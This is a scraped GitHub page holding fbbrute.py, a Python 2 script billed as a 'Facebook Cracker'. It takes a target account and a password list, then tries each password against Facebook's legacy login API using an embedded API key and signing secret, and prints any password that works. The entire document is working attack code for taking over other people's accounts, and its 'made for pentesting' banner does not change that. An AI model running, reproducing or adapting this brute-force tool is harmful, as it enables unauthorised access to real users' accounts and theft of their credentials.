-
Notifications
You must be signed in to change notification settings - Fork 299
/
fbbrute.py
55 lines (52 loc) · 2.35 KB
/
fbbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
## fbbrute.py - Facebook Brute Force
# -*- coding: utf-8 -*-
##
import os
import sys
import urllib
import hashlib
API_SECRET = "62f8ce9f74b12f84c123cc23437a4a32"
__banner__ = """
+=======================================+
|..........Facebook Cracker v 1.........|
+---------------------------------------+
|#Author: DedSecTL <dtlily> |
|#Contact: Telegram @dtlily |
|#Date: Fri Feb 8 10:15:49 2019 |
|#This tool is made for pentesting. |
|#Changing the description of this tool |
|Won't made you the coder ^_^ !!! |
|#Respect Coderz ^_^ |
|#I take no responsibilities for the |
| use of this program ! |
+=======================================+
|..........Facebook Cracker v 1.........|
+---------------------------------------+
"""
print("[+] Facebook Brute Force\n")
userid = raw_input("[*] Enter [Email|Phone|Username|ID]: ")
try:
passlist = raw_input("[*] Set PATH to passlist: ")
if os.path.exists(passlist) != False:
print(__banner__)
print(" [+] Account to crack : {}".format(userid))
print(" [+] Loaded : {}".format(len(open(passlist,"r").read().split("\n"))))
print(" [+] Cracking, please wait ...")
for passwd in open(passlist,'r').readlines():
sys.stdout.write(u"\u001b[1000D[*] Trying {}".format(passwd.strip()))
sys.stdout.flush()
sig = "api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail={}format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword={}return_ssl_resources=0v=1.0{}".format(userid,passwd.strip(),API_SECRET)
xx = hashlib.md5(sig).hexdigest()
data = "api_key=882a8490361da98702bf97a021ddc14d&credentials_type=password&email={}&format=JSON&generate_machine_id=1&generate_session_cookies=1&locale=en_US&method=auth.login&password={}&return_ssl_resources=0&v=1.0&sig={}".format(userid,passwd.strip(),xx)
response = urllib.urlopen("https://api.facebook.com/restserver.php?{}".format(data)).read()
if "error" in response:
pass
else:
print("\n\n[+] Password found .. !!")
print("\n[+] Password : {}".format(passwd.strip()))
break
print("\n\n[!] Done .. !!")
else:
print("fbbrute: error: No such file or directory")
except KeyboardInterrupt:
print("fbbrute: error: Keyboard interrupt")